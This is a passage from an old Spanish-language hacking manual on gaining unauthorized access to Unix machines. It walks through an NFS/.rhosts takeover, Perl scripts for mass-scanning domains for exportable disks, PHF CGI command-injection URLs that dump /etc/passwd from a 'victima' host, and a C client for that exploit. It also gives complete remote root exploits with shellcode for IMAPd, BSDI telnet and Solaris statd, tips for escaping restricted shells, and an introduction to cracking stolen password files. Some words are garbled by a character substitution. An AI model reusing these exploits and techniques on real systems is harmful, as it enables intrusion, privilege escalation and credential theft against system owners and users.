1 drwxr-xr-x 3 at1 users 1024 Jun 22 19:18 at1/
1 dr-xr-xr-x 8 ftp wheel 1024 Jul 12 14:20 ftp/
1 drwxrx-r-x 3 john 100 1024 Jul 6 13:42 john/
1 drwxrx-r-x 3 139 100 1024 Sep 15 12:24 paul/
1 -rw------- 1 root root 242 Mar 9 1997 sudoers
1 drwx------ 3 test 100 1024 Oct 8 21:05 test/
1 drwx------ 15 rapper daemon 1024 Oct 20 18:57 rapper/
Asi, poseemos el directorio de rapper por lo que podemos usar las
propiedades del .rhosts ( escribimos + + en su .rhosts y luego hacemos un
rlogin):
mimaquina:~>echo "+ +" > rapper/.rhosts
mimaquina:~>cd /
mimaquina:~>rlogin -l rapper victima.com
Welcome to Victima.Com.
SunOs ver....(crap).
victima:~$
y ya tienes una cuenta en el sistema ≠!
Para desmontar el archivo, sal de este directorio y ejecuta:
mimaquina:~> umount /tmp/mount
Tened en cuenta que para este metodo, hemos de tener acceso a la
maquina por rlogin, asi que si no es el caso, este metodo tambien admite
otras posibilidades pero eso se deja para otro texto :)
Como lo mas coñazo de este metodo es buscar maquinas con ficheros
exportables, a continuacion expongo un script escrito por Invisble Evil en
perl que te permite buscar automaticamente. Para usarlo previamente se han
de conseguir listas de maquinas que se pueden obtener usando el host -l
nombredominio > salida y luego usando un script para obtener los ip del
fichero salida o se pueden obtener listas de maquinas que hay en internic
(se obtienen por ftp de rs.internic.net) y que son listas de maquinas con
esa extension:
com.zone.gz
edu.zone.gz
gov.zone.gz
mil.zone.gz
net.zone.gz
org.zone.gz
cuando tengas estos files bajados y tras hacer un gunzip, tendras que
ejecutar el script en perl:
"perl getdomain.pl com.zone com >com.all"
perl getdomain.pl edu.zone edu >edu.all
Y asi con todos, obteniendo ficheros com.all, edu.all y sucesivamente
donde tendras la lista de maquinas.
------------ Codigo Fuente ---------------------------------------------------
getdomain.pl
---- cut here
#!/usr/bin/perl
# GetDomain By Nfin8 / Invisible Evil
# Questions /msg i-e or /msg i^e
#
# Retrieve command line arguments.
my($inputfile, $domain) = @ARGV;
usage() if (!defined($inputfile) || !defined($domain));
# Open and preproce° the input file.
open(INFILE, "<$inputfile") or die("Cannot open file $inputfile for
reading!\n");
my(@lines) = <INFILE>;
# Initialize main data structure.
my(%hash) = {};
my($key) = "";
foreach (@lines) {
$key = (split(/\ /))[0];
chop($key);
next if ((($key =~ tr/.//) < 1) ||
(uc($domain) ne uc(((split(/\./, $key))[-1]))) ||
($key =~ m/root-server/i));
$hash{$key}++;
}
# Close input file and output data structure to STDOUT.
close(INFILE);
foreach (sort(keys(%hash))) {
print "$_\n";
}
sub usage {
print("\n\ngetdomain:\n");
print("Usage: getdomain [inputfile] [search]\n\n");
print("Where [search] is one of \'com\', \'edu\', \'gov\', \'mil\' or
\'net\'.\n\n");
exit(0);
}
0;
------------ FIN -------------------------------------------------------------
Tras obtener la lista de maquinas usando el anterior script (edu.all,
com.all, etc..), se ha de usar el script que se expone a continuacion para
obtener los resultados del showmount -e:
En cada dominio, este script busca si hay discos montables y guarda
la info en el directorio actual en ficheros llamados domain.XXX.export...
asi solo tienes que ver estos logs y mirar si ha habido suerte !!!!
------------ Codigo Fuente ---------------------------------------------------
#/usr/bin/perl -w
#
# Check NFS exports of hosts listed in file.
# (Hosts are listed, once per line with no additional whitespaces.)
#
# ii@dormroom.pyro.net - 2/27/97.
# A°ign null list to @URLs which will be added to later.
my(@result) = ();
my(@domains) = ();
my($program) = "showmount -e ";
# Pull off filename from commandline. If it isn't defined, then a°ign
# default.
my($DomainFilename) = shift;
$DomainFilename = "domains" if !defined($DomainFilename);
# Do checking on input.
die("mountDomains: $DomainFilename is a directory.\n") if (-d
$DomainFilename);
# Open $DomainFilename.
open(DOMAINFILE, $DomainFilename) or
die("mountDomains: Cannot open $DomainFilename for input.\n");
while (<DOMAINFILE>) {
chomp($_);
print "Now checking: $_";
# Note difference in program output capture from "geturl.pl".
open (EXECFILE, "$program $_ |");
@execResult = <EXECFILE>;
next if (!defined($execResult[0]));
if ($execResult[0] =~ /^Export/) {
print " - Export list saved.";
open (OUTFILE, ">$_.export");
foreach (@execResult) {
print OUTFILE;
}
close (OUTFILE);
}
close(EXECFILE);
print "\n";
}
# We are done. Close all files and end the program.
close (DOMAINFILE);
0;
------------ FIN -------------------------------------------------------------
Una nota final a todo este coñazo, lo pongo aqui para que solo lo lean
los que se leen los textos enteros (jeje) es que /export/foo es el home
directory del usuario guest por lo que aunque no nos dejen exportar el
directorio /home, en caso de que nos dejen exportar el directorio /export,
se podra aplicar este mismo metodo pero teniendo en cuenta de que en lugar
de usar el usuario rapper se usara el usuario guest
suerte ahi fuera......
4.5.- PHF
Este sistema es antiguo y ampliamente conocido por todo el mundo, pero
aunque parezca mentira sigue funcionando y por ello lo expongo en este
texto.
El phf es un fichero que se encuentra en el directorio /cgi-bin de
maquinas unix que ofrezcan este servicio y sirve para buscar direcciones,
pero habilmente utilizado puede servir para ejecutar comandos remotos sobre
dicha maquina pero no se pueden usar pipes, quotes, etc. En este texto nos
vamos a centrar en su uso para la obtencion del fichero pa°wd de un sistema
aunque pensando un poco se le pueden dar otras aplicaciones bastante
interesantes ya que te permite ejecutar comandos en la maquina victima.
Vamos a empezar comentando el uso mas extendido para luego dar otras
ayudas para su uso asi como otras aplicaciones:
Asi, escribe en tu navegador:
http://www.victima.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/pa°wd
( 1 )( 2 )( 3 )( 4 )(5)( 6 )
1.- El site que quieras atacar.
2.- El comando phf.
3.- Aqui es donde esta el secreto.
4.- El programa que quieres que se ejecute.
5.- El %20 es un espacio, y se pueden usar tantos como te hagan falta.
6.- Y pues aqui va el archivo o directorio que quieres ver.
Tras ejecutar este xploit, pueden suceder varias cosas:
1.- Que no se encuentre el archivo phf, porque los administradores
que son un poco mas listos han desactivado esta opcion o que sea astuto y
un poco borde y te mande algun nuke al intentarlo .. todo no iba a ser
bonito≠!! :o( Esto pasa en algunas maquinas sobre todo si son de hackers :o)
2.- Que te salga el archivo, pero los pa°word no estan de la manera
habitual. Entonces, pueden pasar dos cosas, que este shadow o que este el
NIS instalado. Si estamos en el segundo caso, se puede identificar porque en
la ultima linea del fichero tiene una cadena parecida a esta "+::0:0:::" Si
NO TE SALE, intenta poner en la linea del navegador, en vez de /etc/pa°wd
pues /etc/shadow u otro archivo dependiendo del sistema ( si el httpd rula
como root). Si TE SALE la cadena "+::0:0:::" estas de suerte, porque eso
indica que tiene activado el sistema de archivos NIS, y por lo cual
posiblemente funcione el comando "ypcat" para leer el pa°wd. La linea seria
la siguiente:
http://www.victima.com/cgi-bin/phf?Qalias=x%0a/bin/ypcat%20pa°wd
Con esto te saldran todas las cuentas sin sombrear, o sea lo que
quiere decir que puedes crackear el fichero pa°wd
Si todo sale bien el resultado sera del tipo:
QUERY RESULTS
/usr/local/bin/ph -m alias=x cat /etc/pa°wd
root:R0rmc6lxVwi5I:0:0:root:/root:/bin/bash
bin:*:1:1:bin:/bin:
daemon:*:2:2:daemon:/sbin:
adm:*:3:4:adm:/var/adm:
lp:*:4:7:lp:/var/spool/lpd:
sync:*:5:0:sync:/sbin:/bin/sync
shutdown:*:6:0:shutdown:/sbin:/sbin/shutdown
halt:*:7:0:halt:/sbin:/sbin/halt
mail:*:8:12:mail:/var/spool/mail:
news:*:9:13:news:/usr/lib/news:
uucp:*:10:14:uucp:/var/spool/uucppublic:
operator:*:11:0:operator:/root:/bin/bash
games:*:12:100:games:/usr/games:
man:*:13:15:man:/usr/man:
postmaster:*:14:12:postmaster:/var/spool/mail:/bin/bash
nobody:*:-2:100:nobody:/dev/null:
ftp:*:404:1::/home/ftp:/bin/bash
guest:*:405:100:guest:/dev/null:/dev/null
bhilton:LkjLiWy08xIWY:501:100:Bob Hilton:/home/bhilton:/bin/bash
web:Kn0d4HJPfRSoM:502:100:Web Master:/home/web:/bin/bash
mary:EauDLA/PT/HQg:503:100:Mary C. Hilton:/home/mary:/bin/bash
Y una vez tienes este texto en la pantalla de tu navegador, solo
tienes que hacer un guardar como.
Pero el PHF te da muchas mas posibilidades, ya que si el server esta
corriendo su httpd server como root, se puede obtener el acceso de root.
Usando
http://www.victima.com/cgi-bin/phf?Qalias=x%0a/usr/bin/id
Usamos el id para conocer la identificacion del user. Recuerda que el
root es id=0 aunque lo usual es que corra bajo nobody y te saldria algo de
este tipo:
QUERY RESULTS
/usr/local/bin/ph -m alias=x id
uid=65534(nobody) gid=65535(nogroup) groups=65535(nogroup)
Si en lugar de correr como usuario nobody, corriese como root,
podriamos usar comandos como root, interesante no??
http://www.victima.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/pa°wd
http://www.victima.com/cgi-bin/phf?Qalias=x%0a/bin/ypcat%20pa°wd
Estos dos ya han sido explicados anteriormente. El que muestro a
continuacion podria ser util para ver todos los ficheros del directorio
/etc que empiezan con la palabra pa°.
http://www.victima.com/cgi-bin/phf?Qalias=x%0als%20-al%20/etc/pa°*
Los tres comandos anteriores funcionaran aunque no corra como root,
pero para los siguientes si que es necesario el root, pero son los mas
interesantes:
Cambiar el pa°word del root (no funciona mucho pero si a veces):
http://www.victima.com/cgi-bin/phf?Qalias=x%0apa°wd%20root
Ademas, hay que pensar que una makina kon phf y ke el httpd rule komo
root es practicamente como si tuviesemos una cuenta de root en la maquina,
asi que ya sabeis........ kreo ke sobran los komentarios no? }-)
Bien, todo lo que he contado es suponiendo que usais el navegador como
el Netscape para el ventanukos o usar el Netscape o lynx para linux, pero
adjunto un programa para que podais usar comandos para el phf desde el
shell que es mas comodo y ademas si usais una maquina de condon, no teneis
que depender de si esa maquina tiene navegadores o no.
En fin, el codigo es el siguiente:
------------ Codigo Fuente ---------------------------------------------------
/* Some small changes for efficiency by snocrash. */
/*
* cgi-bin phf exploit by loxsmith [xf]
*
* I wrote this in C because not every system is going to have lynx. Also,
* this saves the time it usually takes to remember the syntatical format
* of the exploit. Because of the host lookup me°, this will take
* approximately 12 seconds to execute with average network load. Be patient.
*
*/
#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <errno.h>
int main(argc, argv)
int argc;
char **argv;
{
int i = 0, s, port, bytes = 128;
char exploit[0xff], buffer[128], hostname[256], *command, j[2];
struct sockaddr_in sin;
struct hostent *he;
if (argc != 3 && argc != 4) {
fprintf(stderr, "Usage: %s command hostname [port]", argv[0]);
exit(1);
}
command = (char *)malloc(strlen(argv[1]) * 2);
while (argv[1][i] != '\0') {
if (argv[1][i] == 32) strcat(command, "%20"); else {
sprintf(j, "%c", argv[1][i]);
strcat(command, j);
}
++i;
}
strcpy(hostname, argv[2]);
if (argc == 4) port = atoi(argv[3]); else port = 80;
if (sin.sin_addr.s_addr = inet_addr(hostname) == -1) {
he = gethostbyname(hostname);
if (he) {
sin.sin_family = he->h_addrtype;
memcpy((caddr_t) &sin.sin_addr, he->h_addr_list[0],
he->h_length);
} else {
fprintf(stderr, "%s: unknown host %s\n", argv[0], hostname);
exit(1);
}
}
sin.sin_family = AF_INET;
sin.sin_port = htons((u_short) port);
if ((s = socket(sin.sin_family, SOCK_STREAM, 0)) < 0) {
fprintf(stderr, "%s: could not get socket\n", argv[0]);
exit(1);
}
if (connect(s, (struct sockaddr *)&sin, sizeof(sin)) < 0) {
close(s);
fprintf(stderr, "%s: could not establish connection\n", argv[0]);
exit(1);
}
sprintf(exploit, "GET /cgi-bin/phf/?Qalias=X%%0a%s\n", command);
free(command);
write(s, exploit, strlen(exploit));
while(bytes == 128) {
bytes = read(s, buffer, 128);
fprintf(stdout, buffer);
}
close(s);
}
------------ FIN -------------------------------------------------------------
La sintaxis para usar este codigo es:
phf cat%20/etc/pa°wd www.maquinavictima.com para hacer un cat
pa°wd
phf id www.maquinavictima.com para hacer un id
phf ls www.maquinavictima.com para hacer un ls
etc... como veis la sintaxis es sencilla y mas comodo que usar el navegador.
Para posteriores ediciones del texto comentare algun codigo
interesante que tengo para explotar el phf asi como algun truquillo para
obtener mas posibilidades de este bug. ;o) como pillar los ficheros de
pa°wd si esta shadow, evitar filtrado de ip, etc... pensad que una maquina
con phf es una maquina en la que puedes ejecutar y ver comandos
remotamente.. asi que pensando un poco las posibilidades son infinitas :o)
4.7.- XPLOITS QUE TE DAN DIRECTAMENTE UNA SHELL
En este apartado, voy a poner unos cuantos xploits pero como he dicho
anteriormente, la red esta llena de xploits para todos los sistemas
operativos y casi todas las versiones asi que aqui solo voy a poner unos
cuantos.
En fin, voy a poner uno que da directamente un shell de root debido al
bug del impad ( puerto 143) en maquinas linux con RedHat:
------------ Codigo Fuente ---------------------------------------------------
/*
* IMAPd Linux/intel remote xploit by savage@apostols.org 1997-April-05
*
* Workz fine against RedHat and imapd distributed with pine
*
* Special THANKS to: b0fh,|r00t,eepr0m,moxx,Fr4wd,Kore and the rest of
ToXyn !!!
*
* usage:
* $ (imap 0; cat) | nc victim 143
* |
* +--> usually from -1000 to 1000 ( try in steps of 100 )
*
* [ I try 0, 100 and 200 - so1o ]
*/
#include <stdio.h>
char shell[] =
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\xeb\x3b\x5e\x89\x76\x08\x31\xed\x31\xc9\x31\xc0\x88"
"\x6e\x07\x89\x6e\x0c\xb0\x0b\x89\xf3\x8d\x6e\x08\x89\xe9\x8d\x6e"
"\x0c\x89\xea\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xe8\xc0\xff\xff\xff/bin/sh";
char username[1024+255];
void main(int argc, char *argv[]) {
int i,a;
long val;
if(argc>1)
a=atoi(argv[1]);
else
a=0;
strcpy(username,shell);
for(i=strlen(username);i<sizeof(username);i++)
username[i]=0x90; /* NOP */
val = 0xbffff501 + a;
for(i=1024;i<strlen(username)-4;i+=4)
{
username[i+0] = val & 0x000000ff;
username[i+1] = (val & 0x0000ff00) >> 8;
username[i+2] = (val & 0x00ff0000) >> 16;
username[i+3] = (val & 0xff000000) >> 24;
}
username[ sizeof(username)-1 ] = 0;
printf("%d LOGIN \"%s\" pa°\n", sizeof(shell), username);
}
------------ FIN -------------------------------------------------------------
Otro para BSDI BSD/OS 2.1 y bien explicadito (aunque en ingles.. pero
creo que es demasiado sencillo para traducirno no?):
------------ Codigo Fuente ---------------------------------------------------
/* Bug originally discovered by Theo de Raadt
<deraadt@CVS.OPENBSD.ORG> */
/* BSDI BSD/OS 2.1 telnet-exploit ; evil-term.c
**
** Written by Joseph_K the 22-Oct-1997
**
**
** Original shellcode by mudge@l0pht.com but modified a tiny bit...
**
** This program must be compiled for the BSDI architecture...
** You will need to transfer the file 'termcap' this program creates
** to the host you want to penetrate, po°ibly by anonymous FTP.
**
** Then start telnet and type:
**
** telnet> env def TERM acce°
** telnet> env def TERMCAP /path/and/name/of/uploaded/file
** telnet> open victim.host.com
**
** tadaa! r00t shell...
**
** However because of the invalid termcap entry, there can be some
** hazzles....You figure it out....
**
** Fy faen vad jag ar hungrig...
**
** Special Greetz to TWiLiGHT!
**
*/
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#define filename "./termcap"
#define entry "acce°|Gimme r00t:\\\n :"
#define bufsize 1300
#define default_offset 870 /* Should work...*/
char shellcode[] =
"\xeb\x35\x5e\x59\x33\xc0\x89\x46\xf5\x83\xc8\x07\x66\x89\x46\xf9"
"\x8d\x1e\x89\x5e\x0b\x33\xd2\x52\x89\x56\x07\x89\x56\x0f\x8d\x46"
"\x0b\x50\x8d\x06\x50\xb8\x7b\x56\x34\x12\x35\x40\x56\x34\x12\x51"
"\x9a\x3e\x39\x29\x28\x39\x3c\xe8\xc6\xff\xff\xff/bin/sh";
long get_sp(void)
{
__asm__("movl %esp, %eax\n");
}
int main(int argc, char *argv[]) {
int i, fd, offs;
long *bof_ptr;
char *ptr, *buffer, *tempbuf;
offs = default_offset;
if(argc == 2) {
printf("using offset: %d\n",atoi(argv[1]));
offs = atoi(argv[1]);
}
if(!(buffer = malloc(bufsize))) {
printf("can't allocate enough memory\n");
exit(0);
}
if(!(tempbuf = malloc(bufsize+strlen(entry) + 50))) {
printf("can't allocate enough memory\n");
exit(0);
}
bof_ptr = (long *)buffer;
for (i = 0; i < bufsize - 4; i += 4)
*(bof_ptr++) = get_sp() - offs;
ptr = (char *)buffer;
for (i = 0; i < ((bufsize-strlen(shellcode)))/2 - 1; i++)
*(ptr++) = 0x90;
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
printf("Creating termcap file\n");
snprintf(tempbuf, (bufsize+strlen(entry)+50), "%s%s:\n", entry, buffer);
fd = open(filename, O_WRONLY|O_CREAT, 0666);
write (fd, tempbuf, strlen(tempbuf));
close(fd);
}
------------ FIN -------------------------------------------------------------
Otro para Solaris 2.5.1:
------------ Codigo Fuente ---------------------------------------------------
/*
statd remote overflow, solaris 2.5.1 x86
there is a patch for statd in solaris 2.5, well, it looks like
they check only for '/' characters and they left overflow there ..
nah, it's solaris
usage: ./r host [cmd] # default cmd is "touch /tmp/blahblah"
# remember that statd is standalone daemon
*/
#include <sys/types.h>
#include <sys/time.h>
#include <stdio.h>
#include <string.h>
#include <netdb.h>
#include <rpc/rpc.h>
#include <rpcsvc/sm_inter.h>
#include <sys/socket.h>
#define BUFSIZE 1024
#define ADDRS 2+1+1+4
#define ADDRP 0x8045570;
/* up to ~ 150 characters, there must be three strings */
char *cmd[3]={"/bin/sh", "-c", "touch /tmp/blahblah"};
char
asmcode[]="\xeb\x3c\x5e\x31\xc0\x88\x46\xfa\x89\x46\xf5\x89\xf7\x83\xc7\x10\
x89\x3e\x4f\x47\xfe\x07\x75\xfb\x47\x89\x7e\x04\x4f\x47\xfe\x07\x75\xfb\x47\x8
9\x7e\x08\x4f\x47\xfe\x07\x75\xfb\x89\x46\x0c\x50\x56\xff\x36\xb0\x3b\x50\x90\
x9a\x01\x01\x01\x0
1\x07\x07\xe8\xbf\xff\xff\xff\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\
x02\x02\x02\x02";
char nop[]="\x90";
char code[4096];
void usage(char *s) {
printf("Usage: %s host [cmd]\n", s);
exit(0);
}
main(int argc, char *argv[]) {
CLIENT *cl;
enum clnt_stat stat;
struct timeval tm;
struct mon monreq;
struct sm_stat_res monres;
struct hostent *hp;
struct sockaddr_in target;
int sd, i, noplen=strlen(nop);
char *ptr=code;
if (argc < 2)
usage(argv[0]);
if (argc == 3)
cmd[2]=argv[2];
for (i=0; i< sizeof(code); i++)
*ptr++=nop[i % noplen];
strcpy(&code[750], asmcode); /* XXX temp. */
ptr=code+strlen(code);
for (i=0; i<=strlen(cmd[0]); i++)
*ptr++=cmd[0][i]-1;
for (i=0; i<=strlen(cmd[1]); i++)
*ptr++=cmd[1][i]-1;
for (i=0; i<=strlen(cmd[2]); i++)
*ptr++=cmd[2][i]-1;
ptr=code+BUFSIZE-(ADDRS<<2);
for (i=0; i<ADDRS; i++, ptr+=4)
*(int *)ptr=ADDRP;
*ptr=0;
printf("strlen = %d\n", strlen(code));
memset(&monreq, 0, sizeof(monreq));
monreq.mon_id.my_id.my_name="localhost";
monreq.mon_id.my_id.my_prog=0;
monreq.mon_id.my_id.my_vers=0;
monreq.mon_id.my_id.my_proc=0;
monreq.mon_id.mon_name=code;
if ((hp=gethostbyname(argv[1])) == NULL) {
printf("Can't resolve %s\n", argv[1]);
exit(0);
}
target.sin_family=AF_INET;
target.sin_addr.s_addr=*(u_long *)hp->h_addr;
target.sin_port=0; /* ask portmap */
sd=RPC_ANYSOCK;
tm.tv_sec=10;
tm.tv_usec=0;
if ((cl=clntudp_create(&target, SM_PROG, SM_VERS, tm, &sd)) == NULL) {
clnt_pcreateerror("clnt_create");
exit(0);
}
stat=clnt_call(cl, SM_MON, xdr_mon, (char *)&monreq, xdr_sm_stat_res,
(char *)&monres, tm);
if (stat != RPC_SUCCE°)
clnt_perror(cl, "clnt_call");
else
printf("stat_res = %d.\n", monres.res_stat);
clnt_destroy(cl);
}
------------ FIN -------------------------------------------------------------
Otro bug de System V (aunque es improbable que funcione) pero es
bastante aclarativo de cuales pueden llegar a ser las naturalezas de los
bugs:
Existe un bug en Pa°wd+ o Npa°wd que permite el acceso sin clave
cuando la validez de la anterior ha expirado. Si el programa detecta que el
usuario que quiere entrar (sabe quien es despues de poner el login) tiene
el mismo pa°word demasiado tiempo, le pide inmediatamente que lo cambie
SIN PEDIR EL PA°WORD ANTIGUO!!!, saldria esto:
UNIX(r) System V Release 4.0 (good religious site)
login: priest
Sorry Pa°wd has expired
Change:
Y pones el que quieres y ya estas dentro :--> con una cuenta que tu
has determinado el pa°wd jeje
Para posteriores ediciones espero poner algunos mas, pero creo que es
mejor que ponga bastantes en la seccion de pillar root ke es mas interesante
ke esto :o)y ademas, sinceramente no se si vale la pena ya que se pueden
encontrar con facilidad en la red.
4.8.- OTROS METODOS
En fin, aqui solo voy a comentar que hay muchisimos mas metodos para
conseguir cuentas ... directamente con muchisimos otros bugs y xploits que
rulan por ahi, usando el metodo de la fuerza bruta por algun servicio ( ftp,
pop3, etc), spoofing, fallos de configuracion en ftp, alguna cuenta que
pilles con un sniffer, fallos en los rpc, mas xploits remotos, defectos de
configuracion, hijacking, etc... pero esto ya se comentara en posteriores
ediciones si hay ganas ;o) o quizas en textos especificos para esos temas ya
que este texto es de introduccion y tampoco lo quiero recargar demasiado.
5.- SALIR DE SHELL RESTRINGIDA
La idea es que una vez que tenemos una cuenta shell en un sitio y la
shell esta muy restringida y no podemos hacer nada ( hay veces que ni
siquiera te deja cambiar de directorio, ni ejecutar el gcc ni nada) hemos de
buscar alguna manera de tener una cuenta un poco mas decente.
Algunas veces, la solucion es probar con el login y el pa°word de la
shell pero entrando por otros puertos como el ftp, rlogin, etc. y gracias a
dios algunas veces se obtienen cuentas con mejores prestaciones que la
anterior. Puedes escribir un + + en el fichero .rhosts y hacer un rlogin,
etc...otras veces, entrando por el ftp podemos sobreescribir algun fichero
que sea el que nos esta activando las restricciones... queda bastante claro
no? :)
Asi ya podemos intentar pillar el fichero de pa°wd o ejecutar algun
xploit para pillar otras cuentas o el rOOt.
Otro metodo que a veces funciona, dependiendo de como se ha hecho esa
shell restringida (si esta bastante mal hecha) es el rulando un programa que
interactua con el shell como por ejemplo el vi:
:set shell=/bin/sh
y luego..
:shell
Otro sistema ke puede funcionar, si tienes una cuenta para mail es
tocar el .pinerc... es decir, bajarlo por ftp, tocarlo en tu maquina y
volverlo a subir.
Si la cuenta no es muy restringida y deja correr el gcc, se puede
compilar algun programa en c que te deje acceder al fichero de pa°wd aunque
no tengas acceso a ese directorio. En la seccion de pa°wd y como cogerlos
hay programas de este tipo.
En fin, son metodos un poco cutres pero a veces funcionan. Ademas, en
general lo que se ha de hacer es examinar las variables de entorno que
tenemos en la shell y pensar si de alguna manera podemos inhabilitar las
restricciones aunque para esto se necesita tener un poco claro el unix.
6.- CRACKEAR PA°WORDS EN MAQUINAS UNIX
Suponiendo que con alguna de las tecnicas expuestas en el apartado
anterior, hemos conseguido el famoso fichero /etc/pa°wd, ahora hay que
obtener los pa°wd desencriptados.
6.1.- Introduccion y algoritmo de cifrado.
En los sistemas Unix, los logins y los pa°words suelen estar en el
fichero /etc/pa°wd ( a no ser que esten shadow ).
En estos ficheros, el login es visible y el pa°word esta encriptado
por lo que tienen una forma como la que se muestra a continuacion:
root:21gCqQc/zPWgU:0:0:Super-User:/:/bin/csh
sysadm:*:0:0:System V Administration:/usr/admin:/bin/sh
diag:*:0:996:Hardware Diagnostics:/usr/diags:/bin/csh
daemon:*:1:1:daemons:/:/dev/null
bin:*:2:2:System Tools Owner:/bin:/dev/null
uucp:*:3:5:UUCP Owner:/usr/lib/uucp:/bin/csh
sys:*:4:0:System Activity Owner:/var/adm:/bin/sh
adm:*:5:3:Accounting Files Owner:/var/adm:/bin/sh
lp::9:9:Print Spooler Owner:/var/spool/lp:/bin/sh
nuucp::10:10:Remote UUCP User:/var/spool/uucppublic:/usr/lib/uucp/uucico
auditor:*:11:0:Audit Activity Owner:/auditor:/bin/sh
dbadmin:*:12:0:Security Database Owner:/dbadmin:/bin/sh
rfindd:*:66:1:Rfind Daemon and Fsdump:/var/rfindd:/bin/sh
guest:zpB5nSLLjDOx2:998:998:Guest Account:/usr/people/guest:/bin/csh
4Dgifts::999:998:4Dgifts Account:/usr/people/4Dgifts:/bin/csh
will:5fg63fhD3d5gh:9406:12:Will Spencer:/home/fsg/will:/bin/bash
Donde cada campo viene separado por : y en los que el significado de
cada campo es:
Login: will
Pa°word encriptado: 5fg63fhD3d5gh
Numero de identificacion del usuario (UID): 9406
Numero de identificacion del grupo al que pertenece (GID): 12
Nombre real: Will Spencer
Directorio Home: /home/fsg/will
Tipo de shell: /bin/bash
En algunas lineas, el campo pa°word es "*". Este pa°word encriptado
es invalido, o sea, no se corresponde con ningun pa°word; por tanto, las
cuentas que tienen alguna "*" en el campo pa°word son cuentas a las que no
se podra entrar y que son usadas por el sistema operativo.
Si en el fichero de pa° en el lugar del pa°word aparece :: quiere
decir que esa cuenta no tiene pa°word, por lo que al introducir el login
entras directamente.
Respecto a la cadena de uid ( user identification) el "0" corresponde
al rOOt. Igualmente, si hay otros users con uid=0, estos usuarios son rOOt
a todos los efectos, o sea, tienen los mismos derechos que el rOOt ( nota
para el que vaya un poco perdido, el rOOt es la persona que tiene un poder
absoluto sobre el sistema pudiendo hacer todo lo que le plazca). Muchas
veces solo habra un user con id 0 pero a veces hay varios con lo que se
facilita el trabajo :o)
Los usuarios que sin tener el uid=0 tienen el mismo gid que el rOOt,
tambien tienen algunos privilegios por el hecho de pertenecer al grupo del
rOOt. Igualmente, hay que observar los uid y los gid de otros personajes
particulares del sistema como wwwadmin, admin, www, bin , etc.
La siguiente cadena indica el directorio home, es decir al directorio
que entraras cuando entres a esa maquina. La ultima cadena indica el shell
que usaras por defecto cuando entres... hay varios tipos de shell.. sh,
csh... pero eso se comenta en cualquier sitio que hable sobre unix por lo
que para remitiros a las diferencias lo podeis mirar alli.
Vamos a hablar un poco sobre el algoritmo de cifrado:
El algoritmo de cifrado es el llamado DES, el cual era un algoritmo
practicamente indescifrable cuando se ideo, pero que con el paso del tiempo
y la tremenda evolucion de la tecnologia, cada dia se hace mas posible su
desencriptado, dada la velocidad de los ordenadores actuales.
Es casi imposible volver hacia atras a partir de un pa°word para
obtener la palabra original. La unica forma que se conoce de romper DES es
a fuerza bruta, cosa que se consiguio a principios de 1997 en internet, con
maquinas distribuidas (lo mismo que ahora intentan con RC5). Tardaron 4
meses en romperlo, y eso que tuvieron suerte y solo tuvieron que probar una
pequeña parte de todas las posibles claves.
Otro aspecto a destacar es la existencia del pa°word aging, es decir
que los pa°word caducan. Esto es importante conocerlo ya que si los
pa°words se renuevan habitualmente, tendremos que acelerar nuestras
acciones si no queremos que tras haber crackeado el fichero pa°wd, estos
pa°words ya hayan sido cambiados :o(
Si existe el pa°word aging, en el fichero de pa°words las entradas
seran del tipo:
Pepe:cualquier,43:34:3:Pepe perez:/home/pepe
El formato es del tipo pa°wd,Mmww donde M es el maximo numero de
semanas que pueden pasar hasta que el pa°word sea cambiado y m es el
minimo intervalo en el que puede ser cambiado mientras que ww indica cuando
fue la ultima vez que se cambio el pa°word.
La relacion entre M, m y el numero real de semanas es:
Caracter Numero de semanas
. 0
/ 1
0-9 2-11
A-Z 12-37
a-z 38-63
Asi, en el ejemplo de Pepe, el pa°word contiene la extension ,43 que
quiere decir que debe ser cambiado antes de 6 semanas ( ya que el 0
corresponde al 2) y que debe permanecer al menos 3.
Entonces la pregunta es.. si es casi imposible desencriptarlos.. ®que
hace unix/linux para leer el fichero cuando entras al sistema??. Simplemente
lo que hace es leer el login y el pa°wd que introduces por el teclado, los
encripta y si coinciden con los correspondientes en el fichero /etc/pa°wd
ya estas dentro!!!
Por tanto, la forma de atacar un fichero de pa°words de Unix es
precisamente la misma que usa el sistema operativo para verificar un
pa°word: encriptar muuuuchas palabras y comprobar cada una de ellas si
coincide con el pa°word encriptado. Si coincide, ya tenemos un pa°word, y
si no, probamos la siguiente palabra. Para hacer esto necesitamos tres
cosas: una lista de palabras a probar, una lista con los pa°words
encriptados y un programa que haga las pruebas.
